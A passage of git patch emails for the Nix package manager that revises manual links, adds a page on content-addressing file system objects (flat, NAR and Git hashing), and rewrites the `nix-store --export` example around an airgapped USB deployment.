.../file-system-object/content-address.md | 80 +++++++++++++++++++ doc/manual/src/store/store-path.md | 10 +++ src/libcmd/misc-store-flags.cc | 24 ++++-- src/libexpr/primops.cc | 2 +- src/libexpr/primops/fetchTree.cc | 4 +- src/libstore/globals.hh | 2 +- src/libstore/path.hh | 2 +- src/libutil/file-content-address.hh | 39 +++++---- src/nix/derivation-show.md | 2 +- src/nix/unix/daemon.cc | 2 +- 33 files changed, 228 insertions(+), 68 deletions(-) create mode 100644 doc/manual/src/store/file-system-object/content-address.md diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index fdfd0a927..7ddafef70 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -18,6 +18,7 @@ - [Uninstalling Nix](installation/uninstall.md) - [Nix Store](store/index.md) - [File System Object](store/file-system-object.md) + - [Content-Addressing File System Objects](store/file-system-object/content-address.md) - [Store Object](store/store-object.md) - [Store Path](store/store-path.md) - [Store Types](store/types/index.md) diff --git a/doc/manual/src/command-ref/nix-collect-garbage.md b/doc/manual/src/command-ref/nix-collect-garbage.md index 1bc88d858..8e1307c48 100644 --- a/doc/manual/src/command-ref/nix-collect-garbage.md +++ b/doc/manual/src/command-ref/nix-collect-garbage.md @@ -74,4 +74,4 @@ $ nix-collect-garbage -d ``` [profiles]: @docroot@/command-ref/files/profiles.md -[store objects]: @docroot@/glossary.md#gloss-store-object +[store objects]: @docroot@/store/store-object.md diff --git a/doc/manual/src/command-ref/nix-env/delete-generations.md b/doc/manual/src/command-ref/nix-env/delete-generations.md index 6b6ea798e..ae618b2c6 100644 --- a/doc/manual/src/command-ref/nix-env/delete-generations.md +++ b/doc/manual/src/command-ref/nix-env/delete-generations.md @@ -49,7 +49,7 @@ Periodically deleting old generations is important to make garbage collection effective. The is because profiles are also garbage collection roots — any [store object] reachable from a profile is "alive" and ineligible for deletion. -[store object]: @docroot@/glossary.md#gloss-store-object +[store object]: @docroot@/store/store-object.md {{#include ./opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-env/install.md b/doc/manual/src/command-ref/nix-env/install.md index d80bcb668..738902041 100644 --- a/doc/manual/src/command-ref/nix-env/install.md +++ b/doc/manual/src/command-ref/nix-env/install.md @@ -17,7 +17,7 @@ The install operation creates a new user environment. It is based on the current generation of the active [profile](@docroot@/command-ref/files/profiles.md), to which a set of [store paths] described by *args* is added. -[store paths]: @docroot@/glossary.md#gloss-store-path +[store paths]: @docroot@/store/store-path.md The arguments *args* map to store paths in a number of possible ways: diff --git a/doc/manual/src/command-ref/nix-hash.md b/doc/manual/src/command-ref/nix-hash.md index 37c8facec..24e91df12 100644 --- a/doc/manual/src/command-ref/nix-hash.md +++ b/doc/manual/src/command-ref/nix-hash.md @@ -20,16 +20,21 @@ an example. The hash is computed over a *serialisation* of each path: a dump of the file system tree rooted at the path. This allows directories and symlinks to be hashed as well as regular files. The dump is in the -*NAR format* produced by [`nix-store +*[Nix Archive (NAR)][Nix Archive] format* produced by [`nix-store --dump`](@docroot@/command-ref/nix-store/dump.md). Thus, `nix-hash path` yields the same cryptographic hash as `nix-store --dump path | md5sum`. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + # Options - `--flat`\ - Print the cryptographic hash of the contents of each regular file - *path*. That is, do not compute the hash over the dump of *path*. + Print the cryptographic hash of the contents of each regular file *path*. + That is, instead of computing + the hash of the [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) of *path*, + just [directly hash]((@docroot@/store/file-system-object/content-address.md#serial-flat) *path* as is. + This requires *path* to resolve to a regular file rather than directory. The result is identical to that produced by the GNU commands `md5sum` and `sha1sum`. diff --git a/doc/manual/src/command-ref/nix-store/dump.md b/doc/manual/src/command-ref/nix-store/dump.md index c2f3c42ef..b1066fd4c 100644 --- a/doc/manual/src/command-ref/nix-store/dump.md +++ b/doc/manual/src/command-ref/nix-store/dump.md @@ -1,6 +1,6 @@ # Name -`nix-store --dump` - write a single path to a Nix Archive +`nix-store --dump` - write a single path to a [Nix Archive] ## Synopsis @@ -8,7 +8,7 @@ ## Description -The operation `--dump` produces a NAR (Nix ARchive) file containing the +The operation `--dump` produces a [NAR (Nix ARchive)][Nix Archive] file containing the contents of the file system tree rooted at *path*. The archive is written to standard output. @@ -33,6 +33,8 @@ but not other types of files (such as device nodes). A Nix archive can be unpacked using `nix-store --restore`. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + {{#include ./opt-common.md}} {{#include ../opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/export.md b/doc/manual/src/command-ref/nix-store/export.md index 1bc46f53b..09f876865 100644 --- a/doc/manual/src/command-ref/nix-store/export.md +++ b/doc/manual/src/command-ref/nix-store/export.md @@ -1,6 +1,6 @@ # Name -`nix-store --export` - export store paths to a Nix Archive +`nix-store --export` - export store paths to a [Nix Archive] ## Synopsis @@ -11,7 +11,7 @@ The operation `--export` writes a serialisation of the specified store paths to standard output in a format that can be imported into another Nix store with `nix-store --import`. This is like `nix-store ---dump`, except that the NAR archive produced by that command doesn’t +--dump`, except that the [Nix Archive (NAR)][Nix Archive] produced by that command doesn’t contain the necessary meta-information to allow it to be imported into another Nix store (namely, the set of references of the path). @@ -19,6 +19,8 @@ This command does not produce a *closure* of the specified paths, so if a store path references other store paths that are missing in the target Nix store, the import will fail. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + {{#include ./opt-common.md}} {{#include ../opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/import.md b/doc/manual/src/command-ref/nix-store/import.md index 2711316a7..42fae0b22 100644 --- a/doc/manual/src/command-ref/nix-store/import.md +++ b/doc/manual/src/command-ref/nix-store/import.md @@ -1,6 +1,8 @@ # Name -`nix-store --import` - import Nix Archive into the store +`nix-store --import` - import [Nix Archive] into the store + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive # Synopsis diff --git a/doc/manual/src/command-ref/nix-store/optimise.md b/doc/manual/src/command-ref/nix-store/optimise.md index dc392aeb8..b257466b2 100644 --- a/doc/manual/src/command-ref/nix-store/optimise.md +++ b/doc/manual/src/command-ref/nix-store/optimise.md @@ -12,7 +12,7 @@ The operation `--optimise` reduces Nix store disk space usage by finding identical files in the store and hard-linking them to each other. It typically reduces the size of the store by something like 25-35%. Only regular files and symlinks are hard-linked in this manner. Files are -considered identical when they have the same NAR archive serialisation: +considered identical when they have the same [Nix Archive (NAR)][Nix Archive] serialisation: that is, regular files must have the same contents and permission (executable or non-executable), and symlinks must have the same contents. @@ -38,3 +38,4 @@ hashing files in `/nix/store/qhqx7l2f1kmwihc9bnxs7rc159hsxnf3-gcc-4.1.1' there are 114486 files with equal contents out of 215894 files in total ``` +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive diff --git a/doc/manual/src/command-ref/nix-store/realise.md b/doc/manual/src/command-ref/nix-store/realise.md index 5428d57fa..6e56387eb 100644 --- a/doc/manual/src/command-ref/nix-store/realise.md +++ b/doc/manual/src/command-ref/nix-store/realise.md @@ -25,11 +25,11 @@ Each of *paths* is processed as follows: If no substitutes are available and no store derivation is given, realisation fails. -[store paths]: @docroot@/glossary.md#gloss-store-path +[store paths]: @docroot@/store/store-path.md [valid]: @docroot@/glossary.md#gloss-validity [store derivation]: @docroot@/glossary.md#gloss-store-derivation [output paths]: @docroot@/glossary.md#gloss-output-path -[store objects]: @docroot@/glossary.md#gloss-store-object +[store objects]: @docroot@/store/store-object.md [closure]: @docroot@/glossary.md#gloss-closure [substituters]: @docroot@/command-ref/conf-file.md#conf-substituters [content-addressed derivations]: @docroot@/contributing/experimental-features.md#xp-feature-ca-derivations diff --git a/doc/manual/src/command-ref/nix-store/restore.md b/doc/manual/src/command-ref/nix-store/restore.md index fcba43df4..2d0aa3127 100644 --- a/doc/manual/src/command-ref/nix-store/restore.md +++ b/doc/manual/src/command-ref/nix-store/restore.md @@ -8,9 +8,11 @@ ## Description -The operation `--restore` unpacks a NAR archive to *path*, which must +The operation `--restore` unpacks a [Nix Archive (NAR)][Nix Archive] to *path*, which must not already exist. The archive is read from standard input. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + {{#include ./opt-common.md}} {{#include ../opt-common.md}} diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/contributing/documentation.md index 359fdb556..6e7c0a967 100644 --- a/doc/manual/src/contributing/documentation.md +++ b/doc/manual/src/contributing/documentation.md @@ -147,7 +147,7 @@ Please observe these guidelines to ease reviews: ``` A [store object] contains a [file system object] and [references] to other store objects. - [store object]: @docroot@/glossary.md#gloss-store-object + [store object]: @docroot@/store/store-object.md [file system object]: @docroot@/architecture/file-system-object.md [references]: @docroot@/glossary.md#gloss-reference ``` diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md index cbffda187..080b25d30 100644 --- a/doc/manual/src/glossary.md +++ b/doc/manual/src/glossary.md @@ -1,5 +1,24 @@ # Glossary +- [content address]{#gloss-content-address} + + A + [*content address*](https://en.wikipedia.org/wiki/Content-addressable_storage) + is a secure way to reference immutable data. + The reference is calculated directly from the content of the data being referenced, which means the reference is + [*tamper proof*](https://en.wikipedia.org/wiki/Tamperproofing) + --- variations of the data should always calculate to distinct content addresses. + + For how Nix uses content addresses, see: + + - [Content-Addressing File System Objects](@docroot@/store/file-system-object/content-address.md) + - [content-addressed store object](#gloss-content-addressed-store-object) + - [content-addressed derivation](#gloss-content-addressed-derivation) + + Software Heritage's writing on [*Intrinsic and Extrinsic identifiers*](https://www.softwareheritage.org/2020/07/09/intrinsic-vs-extrinsic-identifiers) is also a good introduction to the value of content-addressing over other referencing schemes. + + Besides content addressing, the Nix store also uses [input addressing](#gloss-input-addressed-store-object). + - [derivation]{#gloss-derivation} A description of a build task. The result of a derivation is a @@ -266,13 +285,15 @@ See [installables](./command-ref/new-cli/nix.md#installables) for [`nix` commands](./command-ref/new-cli/nix.md) (experimental) for details. -- [NAR]{#gloss-nar} +- [Nix Archive (NAR)]{#gloss-nar} A *N*ix *AR*chive. This is a serialisation of a path in the Nix store. It can contain regular files, directories and symbolic links. NARs are generated and unpacked using `nix-store --dump` and `nix-store --restore`. + See [Nix Archive](store/file-system-object/content-address.html#serial-nix-archive) for details. + - [`∅`]{#gloss-emtpy-set} The empty set symbol. In the context of profile history, this denotes a package is not present in a particular version of the profile. diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md index 1fcc5a95b..3b8e48554 100644 --- a/doc/manual/src/language/advanced-attributes.md +++ b/doc/manual/src/language/advanced-attributes.md @@ -199,19 +199,23 @@ Derivations can declare some infrequently used optional attributes. The `outputHashMode` attribute determines how the hash is computed. It must be one of the following two values: - - `"flat"`\ - The output must be a non-executable regular file. If it isn’t, - the build fails. The hash is simply computed over the contents - of that file (so it’s equal to what Unix commands like - `sha256sum` or `sha1sum` produce). + + + - `"flat"` + + The output must be a non-executable regular file; if it isn’t, the build fails. + The hash is + [simply computed over the contents of that file](@docroot@/store/file-system-object/content-address.md#serial-flat) + (so it’s equal to what Unix commands like `sha256sum` or `sha1sum` produce). This is the default. - - `"recursive"` or `"nar"`\ - The hash is computed over the [NAR archive](@docroot@/glossary.md#gloss-nar) dump of the output - (i.e., the result of [`nix-store --dump`](@docroot@/command-ref/nix-store/dump.md)). In - this case, the output can be anything, including a directory - tree. + - `"recursive"` or `"nar"` + + The hash is computed over the + [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) + dump of the output (i.e., the result of [`nix-store --dump`](@docroot@/command-ref/nix-store/dump.md)). + In this case, the output is allowed to be any [file system object], including directories and more. `"recursive"` is the traditional way of indicating this, and is supported since 2005 (virtually the entire history of Nix). @@ -303,7 +307,7 @@ Derivations can declare some infrequently used optional attributes. [`disallowedReferences`](#adv-attr-disallowedReferences) and [`disallowedRequisites`](#adv-attr-disallowedRequisites), the following attributes are available: - - `maxSize` defines the maximum size of the resulting [store object](@docroot@/glossary.md#gloss-store-object). + - `maxSize` defines the maximum size of the resulting [store object](@docroot@/store/store-object.md). - `maxClosureSize` defines the maximum size of the output's closure. - `ignoreSelfRefs` controls whether self-references should be considered when checking for allowed references/requisites. diff --git a/doc/manual/src/language/derivations.md b/doc/manual/src/language/derivations.md index 75f824a34..b95900cdd 100644 --- a/doc/manual/src/language/derivations.md +++ b/doc/manual/src/language/derivations.md @@ -17,7 +17,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect A symbolic name for the derivation. It is added to the [store path] of the corresponding [store derivation] as well as to its [output paths](@docroot@/glossary.md#gloss-output-path). - [store path]: @docroot@/glossary.md#gloss-store-path + [store path]: @docroot@/store/store-path.md > **Example** > @@ -141,7 +141,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect By default, a derivation produces a single output called `out`. However, derivations can produce multiple outputs. - This allows the associated [store objects](@docroot@/glossary.md#gloss-store-object) and their [closures](@docroot@/glossary.md#gloss-closure) to be copied or garbage-collected separately. + This allows the associated [store objects](@docroot@/store/store-object.md) and their [closures](@docroot@/glossary.md#gloss-closure) to be copied or garbage-collected separately. > **Example** > diff --git a/doc/manual/src/language/import-from-derivation.md b/doc/manual/src/language/import-from-derivation.md index fb12ba51a..e901f5bcf 100644 --- a/doc/manual/src/language/import-from-derivation.md +++ b/doc/manual/src/language/import-from-derivation.md @@ -2,9 +2,9 @@ The value of a Nix expression can depend on the contents of a [store object]. -[store object]: @docroot@/glossary.md#gloss-store-object +[store object]: @docroot@/store/store-object.md -Passing an expression `expr` that evaluates to a [store path](@docroot@/glossary.md#gloss-store-path) to any built-in function which reads from the filesystem constitutes Import From Derivation (IFD): +Passing an expression `expr` that evaluates to a [store path](@docroot@/store/store-path.md) to any built-in function which reads from the filesystem constitutes Import From Derivation (IFD): - [`import`](./builtins.md#builtins-import)` expr` - [`builtins.readFile`](./builtins.md#builtins-readFile)` expr` diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md index 698fed47e..311887e96 100644 --- a/doc/manual/src/language/operators.md +++ b/doc/manual/src/language/operators.md @@ -128,7 +128,7 @@ The result is a string. > The file or directory at *path* must exist and is copied to the [store]. > The path appears in the result as the corresponding [store path]. -[store path]: @docroot@/glossary.md#gloss-store-path +[store path]: @docroot@/store/store-path.md [store]: @docroot@/glossary.md#gloss-store [String and path concatenation]: #string-and-path-concatenation diff --git a/doc/manual/src/language/string-interpolation.md b/doc/manual/src/language/string-interpolation.md index 1f8fecca8..1e2c4ad95 100644 --- a/doc/manual/src/language/string-interpolation.md +++ b/doc/manual/src/language/string-interpolation.md @@ -107,9 +107,9 @@ An expression that is interpolated must evaluate to one of the following: A string interpolates to itself. -A path in an interpolated expression is first copied into the Nix store, and the resulting string is the [store path] of the newly created [store object](@docroot@/glossary.md#gloss-store-object). +A path in an interpolated expression is first copied into the Nix store, and the resulting string is the [store path] of the newly created [store object](@docroot@/store/store-object.md). -[store path]: @docroot@/glossary.md#gloss-store-path +[store path]: @docroot@/store/store-path.md > **Example** > diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md index 2dd52b379..4eb1887fa 100644 --- a/doc/manual/src/language/values.md +++ b/doc/manual/src/language/values.md @@ -124,7 +124,7 @@ For example, assume you used a file path in an interpolated string during a `nix repl` session. Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. Use `:r` to reset the repl as needed. - [store path]: @docroot@/glossary.md#gloss-store-path + [store path]: @docroot@/store/store-path.md Path literals can also include [string interpolation], besides being [interpolated into other expressions]. diff --git a/doc/manual/src/protocols/json/store-object-info.md b/doc/manual/src/protocols/json/store-object-info.md index 179cafbb4..22a14715f 100644 --- a/doc/manual/src/protocols/json/store-object-info.md +++ b/doc/manual/src/protocols/json/store-object-info.md @@ -28,9 +28,9 @@ Info about a [store object]. Content address of this store object's file system object, used to compute its store path. -[store path]: @docroot@/glossary.md#gloss-store-path +[store path]: @docroot@/store/store-path.md [file system object]: @docroot@/store/file-system-object.md -[Nix Archive]: @docroot@/glossary.md#gloss-nar +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive ## Impure fields diff --git a/doc/manual/src/protocols/nix-archive.md b/doc/manual/src/protocols/nix-archive.md index 4fb6282ee..bfc523b3d 100644 --- a/doc/manual/src/protocols/nix-archive.md +++ b/doc/manual/src/protocols/nix-archive.md @@ -1,9 +1,10 @@ # Nix Archive (NAR) format -This is the complete specification of the Nix Archive format. +This is the complete specification of the [Nix Archive] format. The Nix Archive format closely follows the abstract specification of a [file system object] tree, because it is designed to serialize exactly that data structure. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#nix-archive [file system object]: @docroot@/store/file-system-object.md The format of this specification is close to [Extended Backus–Naur form](https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form), with the exception of the `str(..)` function / parameterized rule, which length-prefixes and pads strings. diff --git a/doc/manual/src/protocols/store-path.md b/doc/manual/src/protocols/store-path.md index 565c4fa75..657774238 100644 --- a/doc/manual/src/protocols/store-path.md +++ b/doc/manual/src/protocols/store-path.md @@ -1,12 +1,14 @@ # Complete Store Path Calculation -This is the complete specification for how store paths are calculated. +This is the complete specification for how [store path]s are calculated. The format of this specification is close to [Extended Backus–Naur form](https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form), but must deviate for a few things such as hash functions which we treat as bidirectional for specification purposes. Regular users do *not* need to know this information --- store paths can be treated as black boxes computed from the properties of the store objects they refer to. But for those interested in exactly how Nix works, e.g. if they are reimplementing it, this information can be useful. +[store path](@docroot@/store/store-path.md) + ## Store path proper ```ebnf @@ -113,7 +115,7 @@ where Note that `id` = `"out"`, regardless of the name part of the store path. Also note that NAR + SHA-256 must not use this case, and instead must use the `type` = `"source:" ...` case. -[Nix Archive (NAR)]: @docroot@/glossary.md#gloss-NAR +[Nix Archive (NAR)]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive [sha-256]: https://en.m.wikipedia.org/wiki/SHA-256 ### Historical Note diff --git a/doc/manual/src/protocols/tarball-fetcher.md b/doc/manual/src/protocols/tarball-fetcher.md index 274fa6d63..24ec7ae14 100644 --- a/doc/manual/src/protocols/tarball-fetcher.md +++ b/doc/manual/src/protocols/tarball-fetcher.md @@ -22,7 +22,7 @@ Link: ; rel="immutable" *flakeref* must be a tarball flakeref. It can contain the tarball flake attributes `narHash`, `rev`, `revCount` and `lastModified`. If `narHash` is included, its -value must be the NAR hash of the unpacked tarball (as computed via +value must be the [NAR hash][Nix Archive] of the unpacked tarball (as computed via `nix hash path`). Nix checks the contents of the returned tarball against the `narHash` attribute. The `rev` and `revCount` attributes are useful when the tarball flake is a mirror of a fetcher type that @@ -40,3 +40,5 @@ Link: **Warning** +> +> This method is part of the [`git-hashing`][xp-feature-git-hashing] experimental feature. + +Git's file system model is very close to Nix's, and so Git's content addressing method is a pretty good fit. +Just as with regular Git, files and symlinks are hashed as git "blobs", and directories are hashed as git "trees". + +However, one difference between Nix's and Git's file system model needs special treatment. +Plain files, executable files, and symlinks are not differentiated as distinctly addressable objects, but by their context: by the directory entry that refers to them. +That means so long as the root object is a directory, there is no problem: +every non-directory object is owned by a parent directory, and the entry that refers to it provides the missing information. +However, if the root object is not a directory, then we have no way of knowing which one of an executable file, non-executable file, or symlink it is supposed to be. + +In response to this, we have decided to treat a bare file as non-executable file. +This is similar to do what we do with [flat serialisation](#flat), which also lacks this information. +To avoid an address collision, attempts to hash a bare executable file or symlink will result in an error (just as would happen for flat serialisation also). +Thus, Git can encode some, but not all of Nix's "File System Objects", and this sort of content-addressing is likewise partial. + +In the future, we may support a Git-like hash for such file system objects, or we may adopt another Merkle DAG format which is capable of representing all Nix file system objects. + +[file system object]: ../file-system-object.md +[store object]: ../store-object.md +[xp-feature-git-hashing]: @docroot@/contributing/experimental-features.md#xp-feature-git-hashing diff --git a/doc/manual/src/store/store-path.md b/doc/manual/src/store/store-path.md index 085aead51..beec2389b 100644 --- a/doc/manual/src/store/store-path.md +++ b/doc/manual/src/store/store-path.md @@ -1,5 +1,11 @@ # Store Path +> **Example** +> +> `/nix/store/a040m110amc4h71lds2jmr8qrkj2jhxd-git-2.38.1` +> +> A rendered store path + Nix implements references to [store objects](./index.md#store-object) as *store paths*. Think of a store path as an [opaque], [unique identifier]: @@ -37,6 +43,10 @@ A store path is rendered to a file system path as the concatenation of > store directory digest name > ``` +Exactly how the digest is calculated depends on the type of store path. +Store path digests are *supposed* to be opaque, and so for most operations, it is not necessary to know the details. +That said, the manual has a full [specification of store path digests](@docroot@/protocols/store-path.md). + ## Store Directory Every [Nix store](./index.md) has a store directory. diff --git a/src/libcmd/misc-store-flags.cc b/src/libcmd/misc-store-flags.cc index e66d3f63b..063a9dd9e 100644 --- a/src/libcmd/misc-store-flags.cc +++ b/src/libcmd/misc-store-flags.cc @@ -81,9 +81,15 @@ Args::Flag fileIngestionMethod(FileIngestionMethod * method) How to compute the hash of the input. One of: - - `nar` (the default): Serialises the input as an archive (following the [_Nix Archive Format_](https://edolstra.github.io/pubs/phd-thesis.pdf#page=101)) and passes that to the hash function. + - `nar` (the default): + Serialises the input as a + [Nix Archive](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) + and passes that to the hash function. - - `flat`: Assumes that the input is a single file and directly passes it to the hash function; + - `flat`: + Assumes that the input is a single file and + [directly passes](@docroot@/store/file-system-object/content-address.md#serial-flat) + it to the hash function. )", .labels = {"file-ingestion-method"}, .handler = {[method](std::string s) { @@ -97,16 +103,24 @@ Args::Flag contentAddressMethod(ContentAddressMethod * method) return Args::Flag { .longName = "mode", // FIXME indentation carefully made for context, this is messed up. + /* FIXME link to store object content-addressing not file system + object content addressing once we have that page. */ .description = R"( How to compute the content-address of the store object. One of: - - `nar` (the default): Serialises the input as an archive (following the [_Nix Archive Format_](https://edolstra.github.io/pubs/phd-thesis.pdf#page=101)) and passes that to the hash function. + - `nar` (the default): + Serialises the input as a + [Nix Archive](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) + and passes that to the hash function. - - `flat`: Assumes that the input is a single file and directly passes it to the hash function; + - `flat`: + Assumes that the input is a single file and + [directly passes](@docroot@/store/file-system-object/content-address.md#serial-flat) + it to the hash function. - `text`: Like `flat`, but used for - [derivations](@docroot@/glossary.md#store-derivation) serialized in store object and + [derivations](@docroot@/glossary.md#store-derivation) serialized in store object and [`builtins.toFile`](@docroot@/language/builtins.html#builtins-toFile). For advanced use-cases only; for regular usage prefer `nar` and `flat. diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 109127d1d..1ad1e3fc0 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -4515,7 +4515,7 @@ void EvalState::createBaseEnv() 1683705525 ``` - The [store path](@docroot@/glossary.md#gloss-store-path) of a derivation depending on `currentTime` will differ for each evaluation, unless both evaluate `builtins.currentTime` in the same second. + The [store path](@docroot@/store/store-path.md) of a derivation depending on `currentTime` will differ for each evaluation, unless both evaluate `builtins.currentTime` in the same second. )", .impureOnly = true, }); diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index e27f30512..fa462dc33 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -200,8 +200,8 @@ static RegisterPrimOp primop_fetchTree({ .doc = R"( Fetch a file system tree or a plain file using one of the supported backends and return an attribute set with: - - the resulting fixed-output [store path](@docroot@/glossary.md#gloss-store-path) - - the corresponding [NAR](@docroot@/glossary.md#gloss-nar) hash + - the resulting fixed-output [store path](@docroot@/store/store-path.md) + - the corresponding [NAR](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) hash - backend-specific metadata (currently not documented). *input* must be an attribute set with the following attributes: diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index 108933422..dc18a11fc 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -910,7 +910,7 @@ public: "substituters", R"( A list of [URLs of Nix stores](@docroot@/store/types/index.md#store-url-format) to be used as substituters, separated by whitespace. - A substituter is an additional [store](@docroot@/glossary.md#gloss-store) from which Nix can obtain [store objects](@docroot@/glossary.md#gloss-store-object) instead of building them. + A substituter is an additional [store](@docroot@/glossary.md#gloss-store) from which Nix can obtain [store objects](@docroot@/store/store-object.md) instead of building them. Substituters are tried based on their priority value, which each substituter can set independently. Lower value means higher priority. diff --git a/src/libstore/path.hh b/src/libstore/path.hh index 4ca6747b3..3c26fc515 100644 --- a/src/libstore/path.hh +++ b/src/libstore/path.hh @@ -13,7 +13,7 @@ struct Hash; * \ref StorePath "Store path" is the fundamental reference type of Nix. * A store paths refers to a Store object. * - * See glossary.html#gloss-store-path for more information on a + * See store/store-path.html for more information on a * conceptual level. */ class StorePath diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh index 145a8fb1f..c19de27ed 100644 --- a/src/libutil/file-content-address.hh +++ b/src/libutil/file-content-address.hh @@ -12,16 +12,28 @@ struct SourcePath; /** * An enumeration of the ways we can serialize file system * objects. + * + * See `file-system-object/content-address.md#serial` in the manual for + * a user-facing description of this concept, but note that this type is also + * used for storing or sending copies; not just for addressing. + * Note also that there are other content addressing methods that don't + * correspond to a serialisation method. */ enum struct FileSerialisationMethod : uint8_t { /** * Flat-file. The contents of a single file exactly. + * + * See `file-system-object/content-address.md#serial-flat` in the + * manual. */ Flat, /** * Nix Archive. Serializes the file-system object in * Nix Archive format. + * + * See `file-system-object/content-address.md#serial-nix-archive` in + * the manual. */ Recursive, }; @@ -81,33 +93,32 @@ HashResult hashPath( /** * An enumeration of the ways we can ingest file system * objects, producing a hash or digest. + * + * See `file-system-object/content-address.md` in the manual for a + * user-facing description of this concept. */ enum struct FileIngestionMethod : uint8_t { /** * Hash `FileSerialisationMethod::Flat` serialisation. + * + * See `file-system-object/content-address.md#serial-flat` in the + * manual. */ Flat, /** - * Hash `FileSerialisationMethod::Git` serialisation. + * Hash `FileSerialisationMethod::Recursive` serialisation. + * + * See `file-system-object/content-address.md#serial-flat` in the + * manual. */ Recursive, /** - * Git hashing. In particular files are hashed as git "blobs", and - * directories are hashed as git "trees". + * Git hashing. * - * Unlike `Flat` and `Recursive`, this is not a hash of a single - * serialisation but a [Merkle - * DAG](https://en.wikipedia.org/wiki/Merkle_tree) of multiple - * rounds of serialisation and hashing. - * - * @note Git's data model is slightly different, in that a plain - * file doesn't have an executable bit, directory entries do - * instead. We decide treat a bare file as non-executable by fiat, - * as we do with `FileIngestionMethod::Flat` which also lacks this - * information. Thus, Git can encode some but all of Nix's "File - * System Objects", and this sort of hashing is likewise partial. + * See `file-system-object/content-address.md#serial-git` in the + * manual. */ Git, }; diff --git a/src/nix/derivation-show.md b/src/nix/derivation-show.md index 2437ea08f..9fff58ef9 100644 --- a/src/nix/derivation-show.md +++ b/src/nix/derivation-show.md @@ -50,7 +50,7 @@ By default, this command only shows top-level derivations, but with `nix derivation show` outputs a JSON map of [store path]s to derivations in the following format: -[store path]: @docroot@/glossary.md#gloss-store-path +[store path]: @docroot@/store/store-path.md {{#include ../../protocols/json/derivation.md}} diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc index 8afcbe982..de77a7b6b 100644 --- a/src/nix/unix/daemon.cc +++ b/src/nix/unix/daemon.cc @@ -58,7 +58,7 @@ struct AuthorizationSettings : Config { this, {"root"}, "trusted-users", R"( A list of user names, separated by whitespace. - These users will have additional rights when connecting to the Nix daemon, such as the ability to specify additional [substituters](#conf-substituters), or to import unsigned [NARs](@docroot@/glossary.md#gloss-nar). + These users will have additional rights when connecting to the Nix daemon, such as the ability to specify additional [substituters](#conf-substituters), or to import unsigned realisations or unsigned input-addressed store objects. You can also specify groups by prefixing names with `@`. For instance, `@wheel` means all users in the `wheel` group. From d50ce2df14138fc22e8528a37e5460e2f397420b Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 15 May 2024 01:14:06 +0200 Subject: [PATCH 0609/1251] make a more relevant example for `nix-store --export` given `nix-copy-closure` exists, it doesn't make much sense to do nix-store --export $paths | nix-store --import --store ssh://foo@bar since that dumps everything rather than granularly transferring store objects as needed. therefore, pick an example where dumping the entire closure into a file actually makes a difference, such as when deploying to airgapped systems. --- .../src/command-ref/nix-store/export.md | 30 +++++++++++-------- 1 file changed, 18 insertions(+), 12 deletions(-) diff --git a/doc/manual/src/command-ref/nix-store/export.md b/doc/manual/src/command-ref/nix-store/export.md index 1bc46f53b..4f6dd5ffa 100644 --- a/doc/manual/src/command-ref/nix-store/export.md +++ b/doc/manual/src/command-ref/nix-store/export.md @@ -27,15 +27,21 @@ Nix store, the import will fail. # Examples -To copy a whole closure, do something -like: - -```console -$ nix-store --export $(nix-store --query --requisites paths) > out -``` - -To import the whole closure again, run: - -```console -$ nix-store --import < out -``` +> **Example** +> +> Deploy GNU Hello to an airgapped machine via USB stick. +> +> Write the closure to the block device on a machine with internet connection: +> +> ```shell-session +> [alice@itchy]$ storePath=$(nix-build '' -I nixpkgs=channel:nixpkgs-unstable -A hello --no-out-link) +> [alice@itchy]$ nix-store --export $(nix-store --query --requisites $storePath) | sudo dd of=/dev/usb +> ``` +> +> Read the closure from the block device on the machine without internet connection: +> +> ```shell-session +> [bob@scratchy]$ hello=$(sudo dd if=/dev/usb | nix-store --import | tail -1) +> [bob@scratchy]$ $hello/bin/hello +> Hello, world! +> ``` From 449404531db5fd18a43456bd45517dbf91ec3197 Mon Sep 17 00:00:00 2001 From: Philipp Zander Date: Thu, 16 May 2024 00:39:39 +0200 Subject: [PATCH 0610/1251] fix "Embedding the Nix Evaluator" c api example --- 